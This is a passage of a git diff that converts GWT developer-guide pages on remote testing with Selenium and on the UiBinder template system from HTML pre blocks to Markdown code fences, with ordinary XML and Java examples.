+++ b/src/main/markdown/doc/latest/DevGuideTestingRemoteTesting.md
@@ -27,12 +27,17 @@
 (see [Passing Arguments to the Test Infrastructure](DevGuideTesting.html#passingTestArguments)).  The format looks like this
 (see specific examples below):
 
-<pre class="prettyprint">-runStyle &lt;NameStartingWithCaps&gt;:arguments</pre>
+```
+-runStyle <NameStartingWithCaps>:arguments
+```
 
 If you are running a test from Eclipse, you would add something like the following to the VM arguments (Note that the run style name
 starts with a capital letter):
 
-<pre class="prettyprint">-Dgwt.args=&quot;-runStyle Selenium:myhost:4444/*firefox&quot;</pre>
+```
+
+-Dgwt.args="-runStyle Selenium:myhost:4444/*firefox"
+```
 
 ## Useful Arguments<a id="Useful_Arguments"></a>
 
@@ -50,14 +55,18 @@
 Tests run in development mode by default. You can run a test in production mode by adding `-prod` to the GWT arguments. When
 running tests in production mode, you do not need to have the GWT Developer Plugin installed on the remote system.
 
-<pre class="prettyprint">-Dgwt.args=&quot;<strong>-prod</strong> -runStyle Selenium:myhost:4444/*firefox&quot;</pre>
+```
+-Dgwt.args="<strong>-prod</strong> -runStyle Selenium:myhost:4444/*firefox"
+```
 
 ### -userAgents<a id="-userAgents"></a>
 
 When running tests in production mode, GWT compiles the tests for all browsers, which can take a while. If you know which browsers your test
 will run in, you can limit the browser permutations (and reduce compile time), using the `-userAgents` argument:
 
-<pre class="prettyprint">-Dgwt.args=&quot;-prod <strong>-userAgents ie6,gecko1_8</strong> -runStyle Selenium:myhost:4444/*firefox&quot;</pre>
+```
+-Dgwt.args="-prod <strong>-userAgents ie6,gecko1_8</strong> -runStyle Selenium:myhost:4444/*firefox"
+```
 
 ## Run Styles<a id="Run_Styles"></a>
 
@@ -77,13 +86,15 @@
 `-singleWindow` argument into Selenium.
 
 GWT can execute tests against a remote system running the [Selenium Remote Control](http://seleniumhq.org/projects/remote-control/).
-You do this using the following command: 
+You do this using the following command:
 
-<pre class="prettyprint">-Dgwt.args=&quot;-runStyle Selenium:myhost:4444/*firefox,myotherhost:4444/*firefox&quot;</pre>
+```
+-Dgwt.args="-runStyle Selenium:myhost:4444/*firefox,myotherhost:4444/*firefox"
+```
 
 In the above example, we are using the Selenium run style to execute a development mode test on Firefox against two remote systems (myhost and myotherhost).  
 
-<a name="SeleniumInternetExplorerNote"></a>
+<a id="SeleniumInternetExplorerNote"></a>
   **Note:** On newer versions of Windows, if you run Selenium as an Administrator, you will not run tests in development mode because the GWT
   Developer Plugin is installed for the current user only.
 
@@ -92,22 +103,25 @@
 By default, Selenium creates a new Firefox profile so it can prevent unnecessary popups that would otherwise mess up the test.  However, you will probably
 want to create your own Firefox profile that includes the GWT Developer Plugin.
 
-To do this, run Firefox from the command line and pass in the -ProfileManager argument to open the Profile Manager: 
+To do this, run Firefox from the command line and pass in the -ProfileManager argument to open the Profile Manager:
 
-<pre class="prettyprint">firefox.exe -ProfileManager</pre>
+```
+
+firefox.exe -ProfileManager
+```
 
 Create a new profile (remember the location), and open it. Setup the profile however you want, making sure to install the GWT Developer
 Plugin. On our test systems, we use the following settings: 
 
 *   Set a blank homepage
-    *   Edit -&gt; Preferences -&gt; Main
-    *   Set &quot;When Firefox Starts&quot; to &quot;Show a blank page&quot;
+    *   Edit -> Preferences -> Main
+    *   Set "When Firefox Starts" to "Show a blank page"
 *   Disable warnings
-    *   Edit -&gt; Preferences -&gt; Security
-    *   Under &quot;Warning Messages&quot; click &quot;Settings&quot;
+    *   Edit -> Preferences -> Security
+    *   Under "Warning Messages" click "Settings"
     *   Uncheck all warnings
 *   Disable auto update
-    *   Edit -&gt; Preferences -&gt; Advanced -&gt; Update
+    *   Edit -> Preferences -> Advanced -> Update
     *   Uncheck all automatic updates
 *   Disable session restore
     *   Type &#x27;about:config&#x27; in the browser bar 
@@ -117,14 +131,16 @@
 *   Install the [GWT Developer Plugin](/missing-plugin/)
 *   Whitelist the hosts that will launch the development mode code server. Since Selenium copies the profile for each test, you must do this now.  If you do not, you will have to allow the remote connection for every test!
     *   Restart Firefox 
-    *   Tools -&gt; Addons 
+    *   Tools -> Addons
     *   Select GWT Developer Plugin for Firefox
-    *   Click &quot;Options&quot; 
+    *   Click "Options" 
     *   Add the <u>IP address</u> that you want to allow the plugin to connect to.
 
 When starting the selenium server, pass in the following argument to use your firefox profile as a template:
 
-<pre class="prettyprint">--firefoxProfileTemplate /path/to/profile</pre>
+```
+--firefoxProfileTemplate /path/to/profile
+```
 
 ### Remote Web<a id="Remote_Web"></a>
 
@@ -132,14 +148,22 @@
 
 The RemoteWeb run style allows you to run tests against systems running the BrowserManagerServer, a server that GWT provides. 
 
-First, you need to start the BrowserManagerServer on the remote test system using the following java command.  Note that gwt-user.jar and gwt-dev.jar are on the classpath. 
+First, you need to start the BrowserManagerServer on the remote test system using the following java command.  Note that gwt-user.jar and gwt-dev.jar are on the classpath.
 
-<pre class="prettyprint">java -cp gwt-user.jar;gwt-dev.jar com.google.gwt.junit.remote.BrowserManagerServer ie8 &quot;C:\Program Files\Internet Explorer\IEXPLORE.EXE&quot;</pre>
+```
 
-BrowserManagerServer takes commands in pairs. In the above example, we are associating the name &quot;ie8&quot; with the executable iexplore.exe. 
+java -cp gwt-user.jar;gwt-dev.jar com.google.gwt.junit.remote.BrowserManagerServer ie8 "C:\Program Files\Internet Explorer\IEXPLORE.EXE"
+```
 
-<pre class="prettyprint">&lt;browser name&gt; &lt;path/to/browser&gt;</pre>
+BrowserManagerServer takes commands in pairs. In the above example, we are associating the name "ie8" with the executable iexplore.exe.
+
+```
+<browser name> <path/to/browser>
+```
 
 To run a test against IE8, you would use the following argument:
 
-<pre class="prettyprint">-runStyle RemoteWeb:rmi://myhost/ie8</pre>
+```
+
+-runStyle RemoteWeb:rmi://myhost/ie8
+```
diff --git a/src/main/markdown/doc/latest/DevGuideUi.md b/src/main/markdown/doc/latest/DevGuideUi.md
index 2aed887..e10bbd2 100644
--- a/src/main/markdown/doc/latest/DevGuideUi.md
+++ b/src/main/markdown/doc/latest/DevGuideUi.md
@@ -5,12 +5,12 @@
 
 In traditional JavaScript programming, dynamic user interface creation is done by manipulating the browser's DOM. While GWT provides access to the browser's DOM directly using the [DOM package](/javadoc/latest/com/google/gwt/dom/client/package-summary.html), it is far easier to use classes from the [Widget](/javadoc/latest/com/google/gwt/user/client/ui/Widget.html) hierarchy. The Widget classes make it easier to quickly build interfaces that will work correctly on all browsers. 
 
-1.  [Cross-Browser Support](DevGuideUiBrowser.html) &ndash; Use widgets and composites for cross-browser compatibility
-2.  [Layout Using Panels](DevGuideUiPanels.html) &ndash; Explore the various panels available for layout
-3.  [Widgets](DevGuideUiWidgets.html) &ndash; Create user controls with widgets4.  [Creating Custom Widgets](DevGuideUiCustomWidgets.html) &ndash; Create new widgets, composite widgets, or native JavaScript widgets
-5.  [Cell Widgets](DevGuideUiCellWidgets.html) <sup style="color: red; vertical-align: 2px; font-size: 85%;">New 2.1</sup> &ndash; Work with widgets, panels, the DOM, events, CSS, declarative UI and images.
-6.  [Editors](DevGuideUiEditors.html)  <sup style="color: red; vertical-align: 2px; font-size: 85%">New 2.1</sup> &ndash; Allows data stored in an object graph to be mapped onto a graph of Editors.
-7.  [Working with the DOM](DevGuideUiDom.html) &ndash; When necessary, manipulate the browser's DOM directly
-8.  [Events and Handlers](DevGuideUiHandlers.html) &ndash; Handle events published by widgets9.  [Working with CSS](DevGuideUiCss.html) &ndash; Style widgets with cascading style sheets
-10.  [Declarative UI with UiBinder](DevGuideUiBinder.html) &ndash; Build widget and DOM structures from XML markup
-11.  [Bundling Image Resources](DevGuideUiImageBundles.html) &ndash; Optimize image loading by reducing the number of HTTP requests for images
+1.  [Cross-Browser Support](DevGuideUiBrowser.html) -- Use widgets and composites for cross-browser compatibility
+2.  [Layout Using Panels](DevGuideUiPanels.html) -- Explore the various panels available for layout
+3.  [Widgets](DevGuideUiWidgets.html) -- Create user controls with widgets4.  [Creating Custom Widgets](DevGuideUiCustomWidgets.html) -- Create new widgets, composite widgets, or native JavaScript widgets
+5.  [Cell Widgets](DevGuideUiCellWidgets.html) <sup style="color: red; vertical-align: 2px; font-size: 85%;">New 2.1</sup> -- Work with widgets, panels, the DOM, events, CSS, declarative UI and images.
+6.  [Editors](DevGuideUiEditors.html)  <sup style="color: red; vertical-align: 2px; font-size: 85%">New 2.1</sup> -- Allows data stored in an object graph to be mapped onto a graph of Editors.
+7.  [Working with the DOM](DevGuideUiDom.html) -- When necessary, manipulate the browser's DOM directly
+8.  [Events and Handlers](DevGuideUiHandlers.html) -- Handle events published by widgets9.  [Working with CSS](DevGuideUiCss.html) -- Style widgets with cascading style sheets
+10.  [Declarative UI with UiBinder](DevGuideUiBinder.html) -- Build widget and DOM structures from XML markup
+11.  [Bundling Image Resources](DevGuideUiImageBundles.html) -- Optimize image loading by reducing the number of HTTP requests for images
diff --git a/src/main/markdown/doc/latest/DevGuideUiBinder.md b/src/main/markdown/doc/latest/DevGuideUiBinder.md
index 160a98e..9cc1b4c 100644
--- a/src/main/markdown/doc/latest/DevGuideUiBinder.md
+++ b/src/main/markdown/doc/latest/DevGuideUiBinder.md
@@ -71,13 +71,15 @@
 GWT. But it shows us the bare nuts and bolts, and reminds us that you
 aren't forced to pay the widget tax just to have templates.
 
-<pre class="prettyprint">&lt;!-- HelloWorld.ui.xml -->
+```
+<!-- HelloWorld.ui.xml -->
 
-&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
-  &lt;div>
-    Hello, &lt;span ui:field='nameSpan'/>.
-  &lt;/div>
-&lt;/ui:UiBinder></pre>
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
+  <div>
+    Hello, <span ui:field='nameSpan'/>.
+  </div>
+</ui:UiBinder>
+```
 
 Now suppose you need to programatically read and write the text in the
 span (the one with the `ui:field='nameSpan'` attribute) above. You'd
@@ -86,8 +88,9 @@
 programmatic access to the UI constructs declared in the template. An
 owner class for the above template might look like this:
 
-<pre class="prettyprint">public class HelloWorld {
-  interface MyUiBinder extends UiBinder&lt;DivElement, HelloWorld> {}
+```
+public class HelloWorld {
+  interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {}
   private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
 
   @UiField SpanElement nameSpan;
@@ -103,16 +106,20 @@
   }
 
   public void setName(String name) { nameSpan.setInnerText(name); }
-}</pre>
+}
+```
 
 You then instantiate and use the owner class as you would any other
 chunk of UI code. We'll see examples later that demonstrate how to use
 widgets with UiBinder, but this example uses direct DOM manipulation:
 
-<pre class='prettyprint'>HelloWorld helloWorld = new HelloWorld();
+```
+
+HelloWorld helloWorld = new HelloWorld();
 // Don't forget, this is DOM only; will not work with GWT widgets
 Document.get().getBody().appendChild(helloWorld.getElement());
-helloWorld.setName("World");</pre>
+helloWorld.setName("World");
+```
 
 UiBinder instances are factories that generate a UI structure
 and glue it to an owning Java class. The  `UiBinder<U, O>` interface declares
@@ -146,20 +153,24 @@
 
 Here's an example of a UiBinder template that uses widgets:
 
-<pre class="prettyprint">&lt;!-- HelloWidgetWorld.ui.xml -->
+```
+<!-- HelloWidgetWorld.ui.xml -->
 
-&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
     xmlns:g='urn:import:com.google.gwt.user.client.ui'>
 
-  &lt;g:HTMLPanel>
-    Hello, &lt;g:ListBox ui:field='listBox' visibleItemCount='1'/>.
-  &lt;/g:HTMLPanel>
+  <g:HTMLPanel>
+    Hello, <g:ListBox ui:field='listBox' visibleItemCount='1'/>.
+  </g:HTMLPanel>
 
-&lt;/ui:UiBinder></pre>
+</ui:UiBinder>
+```
 
-<pre class="prettyprint">public class HelloWidgetWorld extends Composite {
+```
 
-  interface MyUiBinder extends UiBinder&lt;Widget, HelloWidgetWorld> {}
+public class HelloWidgetWorld extends Composite {
+
+  interface MyUiBinder extends UiBinder<Widget, HelloWidgetWorld> {}
   private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
 
   @UiField ListBox listBox;
@@ -176,14 +187,15 @@
 // Use:
 
 HelloWidgetWorld helloWorld =
-  new HelloWidgetWorld("able", "baker", "charlie");</pre>
+  new HelloWidgetWorld("able", "baker", "charlie");
+```
 
 Note that we're using widgets, and also creating a widget. The
 HelloWorldWidget can be added to any panel class.
 
 In order to use a set of widgets in a ui.xml template file, you need to
 tie their package to an XML namespace prefix. That's what's happening
-in this attribute of the root `&lt;ui:uibinder>`
+in this attribute of the root `<ui:uibinder>`
 element: `xmlns:g='urn:import:com.google.gwt.user.client.ui'`. This
 says that every class in the `com.google.gwt.user.client.ui`
 package can be used as an element with prefix `g` and a tag
@@ -208,37 +220,41 @@
 Any panel (in theory, anything that implements the [HasWidgets](/javadoc/latest/com/google/gwt/user/client/ui/HasWidgets.html) interface) can be used
 in a template file, and can have other panels inside of it.
 
-<pre class="prettyprint">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
     xmlns:g='urn:import:com.google.gwt.user.client.ui'>
 
-  &lt;g:HorizontalPanel>
-    &lt;g:Label>Keep your ducks&lt;/g:Label>
-    &lt;g:Label>in a row&lt;/g:Label>
-  &lt;/g:HorizontalPanel>
+  <g:HorizontalPanel>
+    <g:Label>Keep your ducks</g:Label>
+    <g:Label>in a row</g:Label>
+  </g:HorizontalPanel>
 
-&lt;/ui:UiBinder></pre>
+</ui:UiBinder>
+```
 
 Some stock GWT widgets require special markup, which you'll find described in
 their javadoc. Here's how  [DockLayoutPanel](/javadoc/latest/com/google/gwt/user/client/ui/DockLayoutPanel.html) works:
 
-<pre class="prettyprint">&lt;g:DockLayoutPanel unit='EM'>
-  &lt;g:north size='5'>
-    &lt;g:Label>Top&lt;/g:Label>
-  &lt;/g:north>
-  &lt;g:center>
-    &lt;g:Label>Body&lt;/g:Label>
-  &lt;/g:center>
-  &lt;g:west size='10'>
-    &lt;g:HTML>
-      &lt;ul>
-        &lt;li>Sidebar&lt;/li>
-        &lt;li>Sidebar&lt;/li>
-        &lt;li>Sidebar&lt;/li>
-      &lt;/ul>
-    &lt;/g:HTML>
-  &lt;/g:west>
-&lt;/g:DockLayoutPanel>
-</pre>
+```
+
+<g:DockLayoutPanel unit='EM'>
+  <g:north size='5'>
+    <g:Label>Top</g:Label>
+  </g:north>
+  <g:center>
+    <g:Label>Body</g:Label>
+  </g:center>
+  <g:west size='10'>
+    <g:HTML>
+      <ul>
+        <li>Sidebar</li>
+        <li>Sidebar</li>
+        <li>Sidebar</li>
+      </ul>
+    </g:HTML>
+  </g:west>
+</g:DockLayoutPanel>
+```
 
 The DockLayoutPanel's children are gathered in organizational
 elements like `<g:north>`
@@ -255,7 +271,7 @@
 specifically, [HTMLPanel](/javadoc/latest/com/google/gwt/user/client/ui/HTMLPanel.html),
 and widgets that
 implement the [HasHTML](/javadoc/latest/com/google/gwt/user/client/ui/HasHTML.html) interface (such as
-the sidebar under `&lt;g:west>`). Future releases of GWT will probably drop this restriction, but in the meantime it's up to you to place your HTML into HTML-savvy widgets.
+the sidebar under `<g:west>`). Future releases of GWT will probably drop this restriction, but in the meantime it's up to you to place your HTML into HTML-savvy widgets.
 
 ## HTML entities<a id="HTML_entities"></a>
 
@@ -263,9 +279,11 @@
 entities like `&amp;nbsp;`. When you need such characters, you have
 to define them yourself. As a convenience, we provide a set of
 definitions that you can import by setting your `DOCTYPE`
-appropriately: 
+appropriately:
 
-<pre class="prettyprint">&lt;!DOCTYPE ui:UiBinder SYSTEM "http://dl.google.com/gwt/DTD/xhtml.ent"></pre>
+```
+<!DOCTYPE ui:UiBinder SYSTEM "http://dl.google.com/gwt/DTD/xhtml.ent">
+```
 
 Note that the GWT compiler won't actually visit this URL to fetch
 the file, because a copy of it is baked into the compiler. However, your IDE may fetch it.
@@ -275,7 +293,9 @@
 One of UiBinder's goals is to reduce the tedium of building user
 interfaces in Java code, and few things in Java require more mind-numbing boilerplate than event handlers. How many times have you written something like this?
 
-<pre class="prettyprint">public class MyFoo extends Composite {
+```
+
+public class MyFoo extends Composite {
   Button button = new Button();
 
   public MyFoo() {
@@ -290,12 +310,14 @@
   void handleClick() {
     Window.alert("Hello, AJAX");
   }
-}</pre>
+}
+```
 
 In a UiBinder owner class, you can use the `@UiHandler` annotation
 to have all of that anonymous class nonsense written for you.
 
-<pre class="prettyprint">public class MyFoo extends Composite {
+```
+public class MyFoo extends Composite {
   @UiField Button button;
 
   public MyFoo() {
@@ -306,11 +328,12 @@
   void handleClick(ClickEvent e) {
     Window.alert("Hello, AJAX");
   }
-}</pre>
+}
+```
 
 However, there is one limitation (at least for now): you can only
 use `@UiHandler` with events thrown by widget objects, not DOM
-elements. That is, `&lt;g:Button>`, not `&lt;button>`.
+elements. That is, `<g:Button>`, not `<button>`.
 
 ## Using a widget that requires constructor args<a id="Using_a_widget"></a>
 
@@ -325,46 +348,54 @@
 
 Suppose you have an existing widget that needs constructor arguments:
 
-<pre class="prettyprint">public CricketScores(String... teamNames) {...} </pre>
+```
+public CricketScores(String... teamNames) {...}
+```
 
 You use it in a template:
 
-<pre class="prettyprint">&lt;!-- UserDashboard.ui.xml -->
+```
+<!-- UserDashboard.ui.xml -->
 
-&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
     xmlns:g='urn:import:com.google.gwt.user.client.ui'
     xmlns:my='urn:import:com.my.app.widgets' >
 
-  &lt;g:HTMLPanel>
-    &lt;my:WeatherReport ui:field='weather'/>
+  <g:HTMLPanel>
+    <my:WeatherReport ui:field='weather'/>
 
-    &lt;my:Stocks ui:field='stocks'/>
-    &lt;my:CricketScores ui:field='scores' />
-  &lt;/g:HTMLPanel>
-&lt;/ui:UiBinder></pre>
+    <my:Stocks ui:field='stocks'/>
+    <my:CricketScores ui:field='scores' />
+  </g:HTMLPanel>
+</ui:UiBinder>
+```
 
-<pre class="prettyprint">public class UserDashboard extends Composite {
-  interface MyUiBinder extends UiBinder&lt;Widget, UserDashboard> {}
+```
+
+public class UserDashboard extends Composite {
+  interface MyUiBinder extends UiBinder<Widget, UserDashboard> {}
   private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
 
   public UserDashboard() {
     initWidget(uiBinder.createAndBindUi(this));
   }
-}</pre>
+}
+```
 
 An error results:
 
-<pre>
+```
 [ERROR] com.my.app.widgets.CricketScores has no default (zero args)
 constructor. To fix this, you can define a @UiFactory method on the
 UiBinder's owner, or annotate a constructor of CricketScores with
 @UiConstructor.
-</pre>
+```
 
 So you either make the @UiFactory method...
 
-<pre class="prettyprint">public class UserDashboard extends Composite {
-  interface MyUiBinder extends UiBinder&lt;Widget, UserDashboard>;
+```
+public class UserDashboard extends Composite {
+  interface MyUiBinder extends UiBinder<Widget, UserDashboard>;
   private static final MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
 
   private final String[] teamNames;
@@ -378,30 +409,37 @@
   @UiFactory CricketScores makeCricketScores() { // method name is insignificant
     return new CricketScores(teamNames);
   }
-}</pre>
+}
+```
 
 ...annotate a constructor...
 
-<pre class="prettyprint">public @UiConstructor CricketScores(String teamNames) {
+```
+
+public @UiConstructor CricketScores(String teamNames) {
   this(teamNames.split("[, ]+"));
 }
-</pre>
 
-<pre class="prettyprint">&lt;!-- UserDashboard.ui.xml -->
-&lt;g:HTMLPanel xmlns:ui='urn:ui:com.google.gwt.uibinder'
+```
+```
+
+<!-- UserDashboard.ui.xml -->
+<g:HTMLPanel xmlns:ui='urn:ui:com.google.gwt.uibinder'
   xmlns:g='urn:import:com.google.gwt.user.client.ui'
   xmlns:my='urn:import:com.my.app.widgets' >
 
-  &lt;my:WeatherReport ui:field='weather'/>
-  &lt;my:Stocks ui:field='stocks'/>
-  &lt;my:CricketScores ui:field='scores' teamNames='AUS, SAF, WA, QLD, VIC'/>
+  <my:WeatherReport ui:field='weather'/>
+  <my:Stocks ui:field='stocks'/>
+  <my:CricketScores ui:field='scores' teamNames='AUS, SAF, WA, QLD, VIC'/>
 
-&lt;/g:HTMLPanel></pre>
+</g:HTMLPanel>
+```
 
 ...or fill in a field marked with `@UiField(provided=true)`
 
-<pre class="prettyprint">public class UserDashboard extends Composite {
-  interface MyUiBinder extends UiBinder&lt;Widget, UserDashboard>;
+```
+public class UserDashboard extends Composite {
+  interface MyUiBinder extends UiBinder<Widget, UserDashboard>;
   private static final MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
 
   @UiField(provided=true)
@@ -412,55 +450,63 @@
     this.cricketScores = cricketScores;
     initWidget(uiBinder.createAndBindUi(this));
   }
-}</pre>
+}
+```
 
 ## Hello Stylish World<a id="Hello_Stylish_World"></a>
 
-With the `&lt;ui:style>` element, you can define the CSS for your UI right where you need it.
+With the `<ui:style>` element, you can define the CSS for your UI right where you need it.
 
-**Note**: &lt;ui:style> elements must be direct children of the root element. The same is true of the other resource elements (&lt;ui:image> and &lt;ui:data>).
+**Note**: `<ui:style>` elements must be direct children of the root element. The same is true
+of the other resource elements (`<ui:image>` and `<ui:data>`).
 
-<pre class="prettyprint">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
 
-  &lt;ui:style>
+  <ui:style>
     .pretty { background-color: Skyblue; }
-  &lt;/ui:style>
+  </ui:style>
 
-  &lt;div class='{style.pretty}'>
-    Hello, &lt;span ui:field='nameSpan'/>.
-  &lt;/div>
+  <div class='{style.pretty}'>
+    Hello, <span ui:field='nameSpan'/>.
+  </div>
 
-&lt;/ui:UiBinder></pre>
+</ui:UiBinder>
+```
 
 A [CssResource](/javadoc/latest/com/google/gwt/resources/client/CssResource.html) interface is generated for you, along with a [ClientBundle](/javadoc/latest/com/google/gwt/resources/client/ClientBundle.html). This means that the compiler will warn you if you misspell the class name when you try to use it (e.g. `{style.prettty}`). Also, your CSS class name will be obfuscated, thus protecting it from collision with like class names in other CSS blocks&mdash;no more global CSS namespace!
 
-In fact, you can take advantage of this within a single template: 
+In fact, you can take advantage of this within a single template:
 
-<pre class="prettyprint">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
-  &lt;ui:style>
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
+  <ui:style>
     .pretty { background-color: Skyblue; }
-  &lt;/ui:style>
+  </ui:style>
 
-  &lt;ui:style field='otherStyle'>
+  <ui:style field='otherStyle'>
     .pretty { background-color: Orange; }
-  &lt;/ui:style>
+  </ui:style>
 
-  &lt;div class='{style.pretty}'>
-    Hello, &lt;span class='{otherStyle.pretty}' ui:field='nameSpan'/>.
-  &lt;/div>
+  <div class='{style.pretty}'>
+    Hello, <span class='{otherStyle.pretty}' ui:field='nameSpan'/>.
+  </div>
 
-&lt;/ui:UiBinder></pre>
+</ui:UiBinder>
+```
 
 Finally, you don't have to have your CSS inside your `ui.xml` file. Most real world projects will probably keep their CSS in a separate file. In the example given below, the `src` values are relative to the location of the `ui.xml` file.
 
-<pre class="prettyprint">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
-  &lt;ui:style src="MyUi.css" />
-  &lt;ui:style field='otherStyle' src="MyUiOtherStyle.css">
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
+  <ui:style src="MyUi.css" />
+  <ui:style field='otherStyle' src="MyUiOtherStyle.css">
 
-  &lt;div class='{style.pretty}'>
-    Hello, &lt;span class='{otherStyle.pretty}' ui:field='nameSpan'/>.
-  &lt;/div>
-&lt;/ui:UiBinder></pre>
+  <div class='{style.pretty}'>
+    Hello, <span class='{otherStyle.pretty}' ui:field='nameSpan'/>.
+  </div>
+</ui:UiBinder>
+```
 
 And you can set style on a widget, not just HTML.  Use the
 `styleName` attribute to override whatever CSS styling the widget
@@ -468,18 +514,19 @@
 clobbering the widget's baked in style settings, use the special
 `addStyleNames` attribute:
 
-<pre class="prettyprint">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
       xmlns:g='urn:import:com.google.gwt.user.client.ui'>
-  &lt;ui:style>
+  <ui:style>
     .hot { color: magenta; }
     .pretty { background-color: Skyblue; }
-  &lt;/ui:style>
+  </ui:style>
 
-  &lt;g:PushButton styleName='{style.pretty}'>This button doesn't look like one&lt;/g:PushButton>
-  &lt;g:PushButton addStyleNames='{style.pretty} {style.hot}'>Push my hot button!&lt;/g:PushButton>
+  <g:PushButton styleName='{style.pretty}'>This button doesn't look like one</g:PushButton>
+  <g:PushButton addStyleNames='{style.pretty} {style.hot}'>Push my hot button!</g:PushButton>
 
-&lt;/ui:UiBinder>
-</pre>
+</ui:UiBinder>
+```
 
 Note that `addStyleNames` is plural.
 
@@ -489,19 +536,23 @@
 your template uses. For example, suppose your widget needs to change color
 when it's enabled or disabled:
 
-<pre class="prettyprint">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
 
-  &lt;ui:style type='com.my.app.MyFoo.MyStyle'>
+  <ui:style type='com.my.app.MyFoo.MyStyle'>
     .redBox { background-color:pink; border: 1px solid red; }
     .enabled { color:black; }
     .disabled { color:gray; }
-  &lt;/ui:style>
+  </ui:style>
 
-  &lt;div class='{style.redBox} {style.enabled}'>I'm a red box widget.&lt;/div>
+  <div class='{style.redBox} {style.enabled}'>I'm a red box widget.</div>
 
-&lt;/ui:UiBinder></pre>
+</ui:UiBinder>
+```
 
-<pre class="prettyprint">public class MyFoo extends Widget {
+```
+
+public class MyFoo extends Widget {
   interface MyStyle extends CssResource {
     String enabled();
     String disabled();
@@ -515,9 +566,10 @@
     getElement().addClassName(enabled ? style.enabled() : style.disabled());
     getElement().removeClassName(enabled ? style.disabled() : style.enabled());
   }
-}</pre>
+}
+```
 
-The `&lt;ui:style>` element has a new
+The `<ui:style>` element has a new
 attribute, `type='com.my.app.MyFoo.MyStyle'`.  That means
 that it needs to implement that interface (defined in the Java source
 for the MyFoo widget above) and provide the two CSS classes it calls
@@ -525,7 +577,7 @@
 
 Now look at the `@UiField MyStyle style;` field in MyFoo.java.
 That gives the code access to the CssResource generated for the
-`&lt;ui:style>` block. The `setEnabled` method uses
+`<ui:style>` block. The `setEnabled` method uses
 that field to apply the enabled and disabled styles as the widget
 is turned on and off.
 
@@ -539,28 +591,32 @@
 objects that come from outside of your template. Use
 the `<ui:with>` element to make them available.
 
-<pre class="prettyprint">&lt;ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
+```
+<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'
     xmlns:g='urn:import:com.google.gwt.user.client.ui'>
 
-  &lt;ui:with field='res' type='com.my.app.widgets.logoname.Resources'/>
+  <ui:with field='res' type='com.my.app.widgets.logoname.Resources'/>
 
-  &lt;g:HTMLPanel>
+  <g:HTMLPanel>
 
-    &lt;g:Image resource='{res.logo}'/>
+    <g:Image resource='{res.logo}'/>
 
-    &lt;div class='{res.style.mainBlock}'>
-      &lt;div class='{res.style.userPictureSprite}'/>
+    <div class='{res.style.mainBlock}'>
+      <div class='{res.style.userPictureSprite}'/>
 
-      &lt;div>
+      <div>
         Well hello there
-        &lt;span class='{res.style.nameSpan}' ui:field='nameSpan'/>
-      &lt;/div>
-    &lt;/div>
+        <span class='{res.style.nameSpan}' ui:field='nameSpan'/>
+      </div>
+    </div>
 
-  &lt;/g:HTMLPanel>
-&lt;/ui:UiBinder></pre>
+  </g:HTMLPanel>
+</ui:UiBinder>
+```
 
-<pre class="prettyprint">/**
+```
+
+/**
  * Resources used by the entire application.
  */
 public interface Resources extends ClientBundle {
@@ -575,14 +631,17 @@
     String nameSpan();
     Sprite userPictureSprite();
   }
-}</pre>
+}
+```
 
-<pre class="prettyprint">// Within the owner class for the UiBinder template
+```
+// Within the owner class for the UiBinder template
 @UiField Resources res;
 
 ...
 
-res.style().ensureInjected();</pre>
+res.style().ensureInjected();
+```
 
 The "`with`" element declares a field holding a resource
 object whose methods can be called to fill in attribute values.  In
@@ -590,7 +649,7 @@
 to `[GWT.create](/javadoc/latest/com/google/gwt/core/client/GWT.html#create%28java.lang.Class%29)(Resources.class)`. (Read on to see how pass an instance in instead
 of having it created for you.)
 
-<p>Note that there is no requirement that a `ui:with` resource implement the [ClientBundle](/javadoc/latest/com/google/gwt/resources/client/ClientBundle.html) interface; this is just an example.
+Note that there is no requirement that a `ui:with` resource implement the [ClientBundle](/javadoc/latest/com/google/gwt/resources/client/ClientBundle.html) interface; this is just an example.
 
 If you need more flexibility with a resource, you can set
 parameters on it with a `<ui:attributes>` element. Any
@@ -599,7 +658,8 @@
 below, note how the FancyResources object accepts a reference to the
 Resource declared in the previous example.
 
-<pre class="prettyprint">public class FancyResources {
+```
+public class FancyResources {
   enum Style {
     MOBILE, DESKTOP
   }
@@ -612,16 +672,20 @@
     this.baseResources = baseResources;
     this.style = style;
   }
-}</pre>
+}
+```
 
-<pre class="prettyprint">&lt;ui:with field='fancyRes' type='com.my.app.widgets.logoname.FancyResources'>
-  &lt;ui:attributes style="MOBILE" baseResources="{res}"/>
-&lt;/ui:with></pre>
+```
+
+<ui:with field='fancyRes' type='com.my.app.widgets.logoname.FancyResources'>
+  <ui:attributes style="MOBILE" baseResources="{res}"/>
+</ui:with>
+```
 
 ## Share resource instances<a id="Share_resource_instances"></a>
 
 You can make resources available to your template via
